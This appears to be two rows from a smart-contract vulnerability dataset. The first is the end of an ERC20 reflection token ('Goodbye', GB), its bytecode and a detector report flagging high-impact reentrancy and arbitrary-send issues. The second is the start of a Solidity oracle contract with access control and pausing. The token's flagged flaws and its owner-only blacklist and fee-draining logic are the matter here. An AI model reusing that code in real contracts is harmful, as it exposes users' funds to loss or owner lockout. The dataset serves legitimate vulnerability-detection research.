rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b80632634e5e8116100d15780632634e5e8146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612cc3565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906127ed565b61042a565b60405161016d9190612ca8565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612e45565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061279a565b610458565b6040516101d59190612ca8565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906128d0565b610531565b005b34801561021357600080fd5b5061021c610610565b6040516102299190612eba565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612876565b610619565b005b34801561026757600080fd5b506102706106cb565b005b34801561027e57600080fd5b5061029960048036038101906102949190612700565b61073d565b6040516102a69190612e45565b60405180910390f35b3480156102bb57600080fd5b506102c461078e565b005b3480156102d257600080fd5b506102db6108e1565b6040516102e89190612bda565b60405180910390f35b3480156102fd57600080fd5b5061030661090a565b6040516103139190612cc3565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906127ed565b610947565b6040516103509190612ca8565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b919061282d565b610965565b005b34801561038e57600080fd5b50610397610a8f565b005b3480156103a557600080fd5b506103ae610b09565b005b3480156103bc57600080fd5b506103d760048036038101906103d2919061275a565b611063565b6040516103e49190612e45565b60405180910390f35b60606040518060400160405280600781526020017f476f6f6462796500000000000000000000000000000000000000000000000000815250905090565b600061043e6104376110ea565b84846110f2565b6001905092915050565b6000670de0b6b3a7640000905090565b60006104658484846112bd565b610526846104716110ea565b6105218560405180606001604052806028815260200161359860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d76110ea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7c9092919063ffffffff16565b6110f2565b600190509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105726110ea565b73ffffffffffffffffffffffffffffffffffffffff161461059257600080fd5b6000811161059f57600080fd5b6105ce6127106105c083670de0b6b3a7640000611ae090919063ffffffff16565b611b5b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516106059190612e45565b60405180910390a150565b60006009905090565b6106216110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a590612d85565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661070c6110ea565b73ffffffffffffffffffffffffffffffffffffffff161461072c57600080fd5b600047905061073a81611ba5565b50565b6000610787600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca0565b9050919050565b6107966110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a90612d85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4742000000000000000000000000000000000000000000000000000000000000815250905090565b600061095b6109546110ea565b84846112bd565b6001905092915050565b61096d6110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190612d85565b60405180910390fd5b60005b8151811015610a8b576001600a6000848481518110610a1f57610a1e613202565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a839061315b565b9150506109fd565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ad06110ea565b73ffffffffffffffffffffffffffffffffffffffff1614610af057600080fd5b6000610afb3061073d565b9050610b0681611d0e565b50565b610b116110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9590612d85565b60405180910390fd5b600f60149054906101000a900460ff1615610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be590612e05565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c7d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006110f2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cc357600080fd5b505afa158015610cd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfb919061272d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5d57600080fd5b505afa158015610d71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d95919061272d565b6040518363ffffffff1660e01b8152600401610db2929190612bf5565b602060405180830381600087803b158015610dcc57600080fd5b505af1158015610de0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e04919061272d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e8d3061073d565b600080610e986108e1565b426040518863ffffffff1660e01b8152600401610eba96959493929190612c47565b6060604051808303818588803b158015610ed357600080fd5b505af1158015610ee7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f0c91906128fd565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550662386f26fc100006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161100d929190612c1e565b602060405180830381600087803b15801561102757600080fd5b505af115801561103b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105f91906128a3565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990612de5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c990612d25565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112b09190612e45565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612dc5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139490612ce5565b60405180910390fd5b600081116113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612da5565b60405180910390fd5b6113e86108e1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561145657506114266108e1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119b957600f60179054906101000a900460ff1615611689573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114d857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115325750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561158c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561168857600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115d26110ea565b73ffffffffffffffffffffffffffffffffffffffff1614806116485750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116306110ea565b73ffffffffffffffffffffffffffffffffffffffff16145b611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e90612e25565b60405180910390fd5b5b5b60105481111561169857600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561173c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61174557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117f05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118465750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561185e5750600f60179054906101000a900460ff165b156118ff5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118ae57600080fd5b6014426118bb9190612f7b565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061190a3061073d565b9050600f60159054906101000a900460ff161580156119775750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561198f5750600f60169054906101000a900460ff165b156119b75761199d81611d0e565b600047905060008111156119b5576119b447611ba5565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a605750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a6a57600090505b611a7684848484611f96565b50505050565b6000838311158290611ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abb9190612cc3565b60405180910390fd5b5060008385611ad3919061305c565b9050809150509392505050565b600080831415611af35760009050611b55565b60008284611b019190613002565b9050828482611b109190612fd1565b14611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4790612d65565b60405180910390fd5b809150505b92915050565b6000611b9d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fc3565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bf5600284611b5b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c20573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c71600284611b5b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c9c573d6000803e3d6000fd5b5050565b6000600654821115611ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cde90612d05565b60405180910390fd5b6000611cf1612026565b9050611d068184611b5b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d4657611d45613231565b5b604051908082528060200260200182016040528015611d745781602001602082028036833780820191505090505b5090503081600081518110611d8c57611d8b613202565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e2e57600080fd5b505afa158015611e42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e66919061272d565b81600181518110611e7a57611e79613202565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ee130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110f2565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f45959493929190612e60565b600060405180830381600087803b158015611f5f57600080fd5b505af1158015611f73573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b80611fa457611fa3612051565b5b611faf848484612082565b80611fbd57611fbc61224d565b5b50505050565b6000808311829061200a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120019190612cc3565b60405180910390fd5b50600083856120199190612fd1565b9050809150509392505050565b600080600061203361225f565b9150915061204a8183611b5b90919063ffffffff16565b9250505090565b600060085414801561206557506000600954145b1561206f57612080565b600060088190555060006009819055505b565b600080600080600080612094876122be565b9550955095509550955095506120f286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121d3816123ce565b6121dd848361248b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161223a9190612e45565b60405180910390a3505050505050505050565b60056008819055506002600981905550565b600080600060065490506000670de0b6b3a76400009050612293670de0b6b3a7640000600654611b5b90919063ffffffff16565b8210156122b157600654670de0b6b3a76400009350935050506122ba565b81819350935050505b9091565b60008060008060008060008060006122db8a6008546009546124c5565b92509250925060006122eb612026565b905060008060006122fe8e87878761255b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061236883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a7c565b905092915050565b600080828461237f9190612f7b565b9050838110156123c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bb90612d45565b60405180910390fd5b8091505092915050565b60006123d8612026565b905060006123ef8284611ae090919063ffffffff16565b905061244381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124a08260065461232690919063ffffffff16565b6006819055506124bb8160075461237090919063ffffffff16565b6007819055505050565b6000806000806124f160646124e3888a611ae090919063ffffffff16565b611b5b90919063ffffffff16565b9050600061251b606461250d888b611ae090919063ffffffff16565b611b5b90919063ffffffff16565b9050600061254482612536858c61232690919063ffffffff16565b61232690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806125748589611ae090919063ffffffff16565b9050600061258b8689611ae090919063ffffffff16565b905060006125a28789611ae090919063ffffffff16565b905060006125cb826125bd858761232690919063ffffffff16565b61232690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006125f76125f284612efa565b612ed5565b9050808382526020820190508285602086028201111561261a57612619613265565b5b60005b8581101561264a57816126308882612654565b84526020840193506020830192505060018101905061261d565b5050509392505050565b60008135905061266381613552565b92915050565b60008151905061267881613552565b92915050565b600082601f83011261269357612692613260565b5b81356126a38482602086016125e4565b91505092915050565b6000813590506126bb81613569565b92915050565b6000815190506126d081613569565b92915050565b6000813590506126e581613580565b92915050565b6000815190506126fa81613580565b92915050565b6000602082840312156127165761271561326f565b5b600061272484828501612654565b91505092915050565b6000602082840312156127435761274261326f565b5b600061275184828501612669565b91505092915050565b600080604083850312156127715761277061326f565b5b600061277f85828601612654565b925050602061279085828601612654565b9150509250929050565b6000806000606084860312156127b3576127b261326f565b5b60006127c186828701612654565b93505060206127d286828701612654565b92505060406127e3868287016126d6565b9150509250925092565b600080604083850312156128045761280361326f565b5b600061281285828601612654565b9250506020612823858286016126d6565b9150509250929050565b6000602082840312156128435761284261326f565b5b600082013567ffffffffffffffff8111156128615761286061326a565b5b61286d8482850161267e565b91505092915050565b60006020828403121561288c5761288b61326f565b5b600061289a848285016126ac565b91505092915050565b6000602082840312156128b9576128b861326f565b5b60006128c7848285016126c1565b91505092915050565b6000602082840312156128e6576128e561326f565b5b60006128f4848285016126d6565b91505092915050565b6000806000606084860312156129165761291561326f565b5b6000612924868287016126eb565b9350506020612935868287016126eb565b9250506040612946868287016126eb565b9150509250925092565b600061295c8383612968565b60208301905092915050565b61297181613090565b82525050565b61298081613090565b82525050565b600061299182612f36565b61299b8185612f59565b93506129a683612f26565b8060005b838110156129d75781516129be8882612950565b97506129c983612f4c565b9250506001810190506129aa565b5085935050505092915050565b6129ed816130a2565b82525050565b6129fc816130e5565b82525050565b6000612a0d82612f41565b612a178185612f6a565b9350612a278185602086016130f7565b612a3081613274565b840191505092915050565b6000612a48602383612f6a565b9150612a5382613285565b604082019050919050565b6000612a6b602a83612f6a565b9150612a76826132d4565b604082019050919050565b6000612a8e602283612f6a565b9150612a9982613323565b604082019050919050565b6000612ab1601b83612f6a565b9150612abc82613372565b602082019050919050565b6000612ad4602183612f6a565b9150612adf8261339b565b604082019050919050565b6000612af7602083612f6a565b9150612b02826133ea565b602082019050919050565b6000612b1a602983612f6a565b9150612b2582613413565b604082019050919050565b6000612b3d602583612f6a565b9150612b4882613462565b604082019050919050565b6000612b60602483612f6a565b9150612b6b826134b1565b604082019050919050565b6000612b83601783612f6a565b9150612b8e82613500565b602082019050919050565b6000612ba6601183612f6a565b9150612bb182613529565b602082019050919050565b612bc5816130ce565b82525050565b612bd4816130d8565b82525050565b6000602082019050612bef6000830184612977565b92915050565b6000604082019050612c0a6000830185612977565b612c176020830184612977565b9392505050565b6000604082019050612c336000830185612977565b612c406020830184612bbc565b9392505050565b600060c082019050612c5c6000830189612977565b612c696020830188612bbc565b612c7660408301876129f3565b612c8360608301866129f3565b612c906080830185612977565b612c9d60a0830184612bbc565b979650505050505050565b6000602082019050612cbd60008301846129e4565b92915050565b60006020820190508181036000830152612cdd8184612a02565b905092915050565b60006020820190508181036000830152612cfe81612a3b565b9050919050565b60006020820190508181036000830152612d1e81612a5e565b9050919050565b60006020820190508181036000830152612d3e81612a81565b9050919050565b60006020820190508181036000830152612d5e81612aa4565b9050919050565b60006020820190508181036000830152612d7e81612ac7565b9050919050565b60006020820190508181036000830152612d9e81612aea565b9050919050565b60006020820190508181036000830152612dbe81612b0d565b9050919050565b60006020820190508181036000830152612dde81612b30565b9050919050565b60006020820190508181036000830152612dfe81612b53565b9050919050565b60006020820190508181036000830152612e1e81612b76565b9050919050565b60006020820190508181036000830152612e3e81612b99565b9050919050565b6000602082019050612e5a6000830184612bbc565b92915050565b600060a082019050612e756000830188612bbc565b612e8260208301876129f3565b8181036040830152612e948186612986565b9050612ea36060830185612977565b612eb06080830184612bbc565b9695505050505050565b6000602082019050612ecf6000830184612bcb565b92915050565b6000612edf612ef0565b9050612eeb828261312a565b919050565b6000604051905090565b600067ffffffffffffffff821115612f1557612f14613231565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f86826130ce565b9150612f91836130ce565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc657612fc56131a4565b5b828201905092915050565b6000612fdc826130ce565b9150612fe7836130ce565b925082612ff757612ff66131d3565b5b828204905092915050565b600061300d826130ce565b9150613018836130ce565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613051576130506131a4565b5b828202905092915050565b6000613067826130ce565b9150613072836130ce565b925082821015613085576130846131a4565b5b828203905092915050565b600061309b826130ae565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130f0826130ce565b9050919050565b60005b838110156131155780820151818401526020810190506130fa565b83811115613124576000848401525b50505050565b61313382613274565b810181811067ffffffffffffffff8211171561315257613151613231565b5b80604052505050565b6000613166826130ce565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613199576131986131a4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61355b81613090565b811461356657600080fd5b50565b613572816130a2565b811461357d57600080fd5b50565b613589816130ce565b811461359457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122071ae79006f791931b54bb33918dfa8f3a3d1b60ce12a17d1c256ebf51415357464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,843
0xcd946badb8e386f9d36b6d6c945ddacb8d3d5cc8
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; interface IOracle { function value() external view returns (int256, bool); function update() external returns (bool); } /// @notice Emitted when paused error Pausable__whenNotPaused_paused(); /// @notice Emitted when not paused error Pausable__whenPaused_notPaused(); /// @title Guarded /// @notice Mixin implementing an authentication scheme on a method level abstract contract Guarded { /// ======== Custom Errors ======== /// error Guarded__notRoot(); error Guarded__notGranted(); /// ======== Storage ======== /// /// @notice Wildcard for granting a caller to call every guarded method bytes32 public constant ANY_SIG = keccak256("ANY_SIG"); /// @notice Wildcard for granting a caller to call every guarded method address public constant ANY_CALLER = address(uint160(uint256(bytes32(keccak256("ANY_CALLER"))))); /// @notice Mapping storing who is granted to which method /// @dev Method Signature => Caller => Bool mapping(bytes32 => mapping(address => bool)) private _canCall; /// ======== Events ======== /// event AllowCaller(bytes32 sig, address who); event BlockCaller(bytes32 sig, address who); constructor() { // set root _setRoot(msg.sender); } /// ======== Auth ======== /// modifier callerIsRoot() { if (_canCall[ANY_SIG][msg.sender]) { _; } else revert Guarded__notRoot(); } modifier checkCaller() { if (canCall(msg.sig, msg.sender)) { _; } else revert Guarded__notGranted(); } /// @notice Grant the right to call method `sig` to `who` /// @dev Only the root user (granted `ANY_SIG`) is able to call this method /// @param sig_ Method signature (4Byte) /// @param who_ Address of who should be able to call `sig` function allowCaller(bytes32 sig_, address who_) public callerIsRoot { _canCall[sig_][who_] = true; emit AllowCaller(sig_, who_); } /// @notice Revoke the right to call method `sig` from `who` /// @dev Only the root user (granted `ANY_SIG`) is able to call this method /// @param sig_ Method signature (4Byte) /// @param who_ Address of who should not be able to call `sig` anymore function blockCaller(bytes32 sig_, address who_) public callerIsRoot { _canCall[sig_][who_] = false; emit BlockCaller(sig_, who_); } /// @notice Returns if `who` can call `sig` /// @param sig_ Method signature (4Byte) /// @param who_ Address of who should be able to call `sig` function canCall(bytes32 sig_, address who_) public view returns (bool) { return (_canCall[sig_][who_] || _canCall[ANY_SIG][who_] || _canCall[sig_][ANY_CALLER]); } /// @notice Sets the root user (granted `ANY_SIG`) /// @param root_ Address of who should be set as root function _setRoot(address root_) internal { _canCall[ANY_SIG][root_] = true; emit AllowCaller(ANY_SIG, root_); } } contract Pausable is Guarded { event Paused(address who); event Unpaused(address who); bool private _paused; function paused() public view virtual returns (bool) { return _paused; } modifier whenNotPaused() { // If the contract is paused, throw an error if (_paused) { revert Pausable__whenNotPaused_paused(); } _; } modifier whenPaused() { // If the contract is not paused, throw an error if (_paused == false) { revert Pausable__whenPaused_notPaused(); } _; } function _pause() internal whenNotPaused { _paused = true; emit Paused(msg.sender); } function _unpause() internal whenPaused { _paused = false; emit Unpaused(msg.sender); } } abstract contract Oracle is Pausable, IOracle { /// @notice Emitted when a method is reentered error Oracle__nonReentrant(); /// ======== Events ======== /// event ValueInvalid(); event ValueUpdated(int256 currentValue, int256 nextValue); event OracleReset(); /// ======== Storage ======== /// // Time interval between the value updates uint256 public immutable timeUpdateWindow; // Timestamp of the current value uint256 public lastTimestamp; // The next value that will replace the current value once the timeUpdateWindow has passed int256 public nextValue; // Current value that will be returned by the Oracle int256 private _currentValue; // Flag that tells if the value provider returned successfully bool private _validReturnedValue; // Reentrancy constants uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; // Reentrancy guard flag uint256 private _reentrantGuard = _NOT_ENTERED; /// ======== Modifiers ======== /// modifier nonReentrant() { // Check if the guard is set if (_reentrantGuard != _NOT_ENTERED) { revert Oracle__nonReentrant(); } // Set the guard _reentrantGuard = _ENTERED; // Allow execution _; // Reset the guard _reentrantGuard = _NOT_ENTERED; } constructor(uint256 timeUpdateWindow_) { timeUpdateWindow = timeUpdateWindow_; _validReturnedValue = false; } /// @notice Get the current value of the oracle /// @return The current value of the oracle /// @return Whether the value is valid function value() public view override(IOracle) whenNotPaused returns (int256, bool) { // Value is considered valid if the value provider successfully returned a value return (_currentValue, _validReturnedValue); } function getValue() external virtual returns (int256); function update() public override(IOracle) checkCaller nonReentrant returns (bool) { // Not enough time has passed since the last update if (lastTimestamp + timeUpdateWindow > block.timestamp) { // Exit early if no update is needed return false; } // Oracle update should not fail even if the value provider fails to return a value try this.getValue() returns (int256 returnedValue) { // Update the value using an exponential moving 